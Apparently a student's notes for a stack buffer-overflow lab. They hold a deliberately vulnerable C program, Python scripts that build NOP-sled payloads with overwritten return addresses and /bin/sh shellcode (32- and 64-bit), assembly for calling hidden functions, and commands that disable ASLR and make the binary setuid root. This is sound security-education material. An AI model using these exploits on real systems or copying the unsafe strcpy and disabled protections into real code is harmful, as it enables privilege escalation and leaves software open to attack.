```python
badfileSize = 120

# Fill the content with NOP's
content = bytearray(0x90 for i in range(badfileSize))

# Decide the return address value . -> address of secret function
ret    = 0x565562f1            # Change this number
offset = 32+4

L = 4      # Use 4 for 32-bit address and 8 for 64-bit address
# Fill the content with the return address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
# return to main?
main_ret = 0x565563ef         # do not put beginning of main, it makes a loop of never return
# but this also doesn't work. seg fault anyway :(
content[offset+L:offset+L+L] = (main_ret).to_bytes(L,byteorder='little')

# check out the content
for i in range(0, len(content), L):
    a = "{:03d}".format(i)
    b = "{:03d}".format(i+3)
    print(f"{a} -- {b}: {hex(content[i])}, {hex(content[i+1])}, {hex(content[i+2])}, {hex(content[i+3])}")

# write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem
    strcpy(buffer, str);
    printf("Returning from bof\n");

    return 1;
}

int foo(){
    printf("Sensitive Information Leaked\n");
    return 1;
}

int main(int argc, char **argv)
{
    char str[300];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
        perror("Opening badfile"); exit(1);
    }
    printf("Inside Main\n");
    int length = fread(str, sizeof(char), 300, badfile);
    printf("Input size: %d\n", length);
    printf("Buffer size: %d\n", BUF_SIZE);
    bof(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}
```

- first, setting off the rand va space flag and zsh
- write up a `Makefile` for building the given c code
- remember to create the `badfile` before debugging.
- if only buffer overflow to invoke shellcode
  - write the shellcode. details later
  - check the debugger using
    - `b bof` . `bof` is the function where vulnerability exists
    - `run` → run till bof
    - `next` → to load `ebp`
    - `p $ebp` , `p &buffer` → check the values. take difference
    - `p (*(unsigned *) $ebp+4)` → the return address. check if actual is put
  - `ret` is `p $ebp` value + a little more for debugger. try and error. for 100-200 buffsize, 0x100 works.
  - `offset` is the difference taken + 4 (next address)
  - also, `buffsize` needs to overflow
  - for range of buffer size
    - put offset at every 4 byte.
- secret function call
  - check the address of the function you want to call with `disas <function_name>` . thats the return address
  - check `p $ebp` , `p &buffer` . difference is `offset`

```python
#!/usr/bin/python3
import sys

shellcode= (
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
        "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
        "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

badfileSize = 500

# Fill the content with NOP's
content = bytearray(0x90 for i in range(badfileSize))

##################################################################
# Put the shellcode somewhere in the payload
# putting it at the end for now. beginning is NOP. so shellcode at the end is safe
start = badfileSize - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value . -> ebp value
# and put it somewhere in the payload
ret    = 0xffffcb08 + 0x80           # Change this number
# depends on the buffer size. if buff -> 100. ebp - buff difference -> 108. so offset -> 108+4=112
offset = 108+4              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
##################################################################
# putting return address in place
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# # we know a range. so lets put everywhere...
# buffSizeInit = 101        # 100 + remainder
# buffSizeEnd = 200
# for i in range(buffSizeInit, buffSizeEnd+20, L):
#         content[i:i + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

```
sudo sysctl -w kernel.randomize_va_space=0
sudo ln -sf /bin/zsh /bin/sh

su root

gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
su seed

touch badfile
gcc -DBUF_SIZE=100 -m32 -o stack_dbg -g -z execstack -fno-stack-protector stack.c
```

```
disas <function_name> // prints the assembly dump along with add
b <function_name> // set the breakpoint at the first instruction
b *0x<address> // set the breakpoint at the specified address
run // program will pause execution at the breakpoint
stepi // execute next instruction and pause
continue // pause at next breakpoint
p $RegisterName
p &Variable
// prints the address of the register/variable
p (*(unsigned *)$RegisterName)
p (*(unsigned *)&Variable)
// prints the content of the register/variable
q // quit from gdb
```

```
FLAGS    = -z execstack -fno-stack-protect
FLAGS_32 = -m32
TARGET   = B2 B2-dbg

BUFSIZE = 100
filename = secretcall.c

all: $(TARGET)

B2: $(filename)
        gcc -DBUF_SIZE=$(BUFSIZE) $(FLAGS) $(FLAGS_32) -o $@ $(filename)
        gcc -DBUF_SIZE=$(BUFSIZE) $(FLAGS) $(FLAGS_32) -g -o $@-dbg $(filename)
        sudo chown root $@ && sudo chmod 4755 $@

clean:
        rm -f badfile $(TARGET) peda-session-B2*.txt .gdb_history
```

```
section .text
    global _start
    _start:

xor ecx, ecx
xor eax, eax

mov al, 1
mov cl, 7
push ecx
push eax
mov ebx, 0x56556286
call ebx

xor ecx, ecx
push ecx
push eax
mov ebx, 0x56556286
call ebx

mov cl, 5
push ecx
push eax
mov ebx, 0x56556286
call ebx

xor ecx, ecx
push ecx
push eax
mov ebx, 0x56556286
call ebx

mov cl, 9
push ecx
push eax
mov ebx, 0x56556286
call ebx

xor ecx, ecx
mov cl, 2
push ecx
push eax
mov ebx, 0x56556286
call ebx
```

```
nasm -f elf32 mysh.s -o mysh.o
xxd -p -c 20 mysh.o
```

```
#!/usr/bin/python3
import sys

shellcode= (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

badfileSize = 2000

# Fill the content with NOP's
content = bytearray(0x90 for i in range(badfileSize))

##################################################################
# Put the shellcode somewhere in the payload
# putting it at the end for now. beginning is NOP. so shellcode at the end is safe
# start = badfileSize - len(shellcode)          # Change this number
start = 200
content[start:start + len(shellcode)] = shellcode

# Decide the return address value . -> ebp value
# and put it somewhere in the payload
ret    = 0xffffcef8 + 0x080 - (476+4)         # Change this number
# depends on the buffer size. if buff -> 100. ebp - buff difference -> 108. so offset -> 108+4=112
offset = 476+4                # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
##################################################################
# putting return address in place
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

```
section .text
        global _start
        _start:

        mov ebx, 0x565562a2 ; foo address
        call ebx
        ;eax has code
        push eax
        mov ebx, 0x56556286 ; execute address
        call ebx
```

- writing assembly
  - arguments in reverse order. `int foo( int a, int b)` → push value for `b` first
  - use `ebx` to call func. `mov ebx, <addr>` `call ebx`
  - `eax` has return value
  - for 0 handling
    - use `xor ecx, ecx` for putting 0
    - use lower reg part for putting a byte `mov ecx, 1` → `mov cl,1`
    - use dummy char for 0 in address. then shift left right
      - address 0x00abcde1
      - `mov ebx, 0xffabcde1` `shl ebx` `shr ebx`
  - `call` → `ffd3`
  - `mov ebx` → `bb`

```
section .text
    global _start
    _start:

    mov ebx, 0x565562e5
    call ebx

    ; Store the command on stack
    xor eax, eax
    push eax
    push "//sh"
    push "/bin"
    mov ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument
    ; Construct the argument array argv[]
    push eax ; argv[1] = 0
    push ebx ; argv[0] --> "/bin//sh"
    mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument
    ; For environment variable
    xor edx, edx ; edx = 0: execve()'s 3rd argument
    ; Invoke execve()
    xor eax, eax ;
    mov al, 0x0b ; execve()'s system call number
    int 0x80
```

```
section .text
        global _start
        _start:
                mov ebx, 0x56556311 ; actual addr 0x56556300
                shr ebx, 8
                shl ebx, 8

                ;xor eax, eax
                ;mov al, 0x11
                ;sub ebx, eax

                ;sub ebx, 0x11
                call ebx
```

- 64 bit
  - `p $rbp`
  - `L = 8`
  - no `m32` in c build
  - no `elf32` in assembly build
  - check for 0 in addr carefully
  - put mal. code before ret addr

```
#!/usr/bin/python3
import sys

shellcode= (
        "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
        "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
        "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

badfileSize = 500

# Fill the content with NOP's
content = bytearray(0x90 for i in range(badfileSize))

##################################################################
# Put the shellcode somewhere in the payload
# putting it at the end for now. beginning is NOP. so shellcode at the end is safe
start = 20               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value . -> ebp value
# and put it somewhere in the payload
ret    = 0x7fffffffd930 + 112 - (112+8)          # Change this number
# depends on the buffer size. if buff -> 100. ebp - buff difference -> 108. so offset -> 108+4=112
offset = 112+8             # Change this number

L = 8    # Use 4 for 32-bit address and 8 for 64-bit address
##################################################################
# putting return address in place
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')


# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```